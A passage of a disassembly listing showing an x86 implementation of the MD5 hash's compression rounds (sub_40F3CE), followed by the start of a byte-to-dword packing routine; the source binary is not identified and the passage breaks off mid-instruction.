0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: .data:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr 